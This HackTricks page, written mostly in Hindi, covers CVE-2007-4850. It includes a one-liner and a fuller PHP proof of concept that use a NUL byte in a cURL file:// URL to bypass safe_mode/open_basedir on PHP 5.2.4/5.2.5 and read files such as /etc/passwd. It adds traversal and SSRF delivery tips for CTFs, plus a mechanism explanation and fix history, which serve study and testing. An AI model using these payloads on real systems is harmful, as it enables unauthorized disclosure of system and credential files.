PHP 5.2.4 and 5.2.5 PHP cURL
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
यह पेज विशिष्ट PHP 5.2.x बिल्ड्स पर cURL extension का उपयोग करके PHP safe_mode/open_basedir चेक्स को बायपास करने वाली एक पुरानी लेकिन CTFs/लोकल-लेगेसी-इंस्टाल्स में अभी भी उपयोगी ट्रिक का दस्तावेजीकरण करता है।
- प्रभावित: PHP 5.2.4 और 5.2.5 जिनमें ext/curl सक्षम है।
- प्रभाव: safe_mode या open_basedir प्रतिबंधों के बावजूद मनमाने लोकल फाइलें पढ़ें (कोई सीधा कोड निष्पादन नहीं)।
- ID: CVE-2007-4850.
स्रोत: http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
एक-लाइनर PoC
यदि safe_mode या open_basedir सक्रिय हैं और cURL सक्षम है, तो निम्नलिखित वर्तमान स्क्रिप्ट की सामग्री लौटाएगा:
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
और अधिक स्पष्ट PoC (arbitrary file read)
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>
Notes:
- “ or chr(0) का उपयोग करके एक वास्तविक NUL बाइट इंजेक्ट करें। Percent-encoding (%00) विश्वसनीय रूप से काम नहीं करेगा।
- यह एक file read primitive है। आगे के एस्केलेशन के लिए जब संभव हो तो अन्य primitives (log poisoning, session file inclusion, आदि) के साथ संयोजित करें।
क्यों यह काम करता है (संक्षेप)
यह vulnerability इस बात में है कि PHP 5.2.4/5.2.5 ने ext/curl में file:// URLs के लिए safe_mode/open_basedir चेक कैसे किया। चेक ने URL को पार्स करके एक path component को validate किया, लेकिन NUL-byte हैंडलिंग के कारण उसने उस string को validate किया जो libcurl द्वारा वास्तविक में इस्तेमाल किए गए string से अलग था। व्यवहार में, validator NUL के बाद के path को अनुमोदित कर सकता था जबकि libcurl NUL के पहले वाले हिस्से को URL container के रूप में उपयोग करता था, जिससे bypass संभव हुआ जो NUL byte के बाद रखी फ़ाइल को पढ़ने का परिणाम देता है। विवरण के लिए original analysis और affected macro in curl/interface.c देखें। [CVE-2007-4850].
सीमाएँ और सुधार
- Fixed in later 5.2.x (e.g., distro builds patched to 5.2.6) by correcting the parsing/validation in ext/curl.
- यह केवल बहुत पुराने PHP deployments को प्रभावित करता है; safe_mode को PHP 5.4 में हटा दिया गया था और आधुनिक builds में यह व्यवहार नहीं दिखता।
संबंधित ऐतिहासिक cURL-आधारित bypasses
- CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers allowed
file://access with embedded NULs to bypass open_basedir; fixed before 5.2.x. - PHP bugs #30609/#36223 tracked early cURL open_basedir issues using
file://without canonicalization. Any check before the NUL byte or withoutrealpath-style resolution is prone to the same truncation.
CTF टिप्स
- जब आप PHP 5.2.4/5.2.5 का ext/curl लोडेड होने की पहचान करते हैं (देखें
phpinfo()मेंcURL support => enabledऔरPHP Version), यह trick आमतौर पर तब भी काम करती है यदिallow_url_fopendisabled हो क्योंकि ext/curl स्वयंfile://को हैंडल करता है। - यदि डायरेक्ट पाथ्स ब्लॉक हैं, तो NUL के बाद relative traversal आज़माएँ, जैसे
file://x\x00../../../../etc/passwd. Traversal का resolution libcurl द्वारा किया जाता है, open_basedir guard द्वारा नहीं। - आप payload को एक single HTTP request body में रैप कर सकते हैं ताकि वह vulnerable server-side code के माध्यम से LFI ट्रिगर करे जो user-controlled URLs को
curl_exec()में mirror करता है (legacy SSRF-like endpoints में सामान्य)।
अन्य देखें
Other disable_functions/open_basedir bypasses and modern techniques are collected here:
References
- Ubuntu CVE entry with patch pointers and affected versions
- Technical writeup with code context (cxsecurity)
- PHP bug #36223 (curl bypasses open_basedir)
- CVE-2006-2563 cURL PHP File Access Bypass (earlier NUL-byte issue)
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


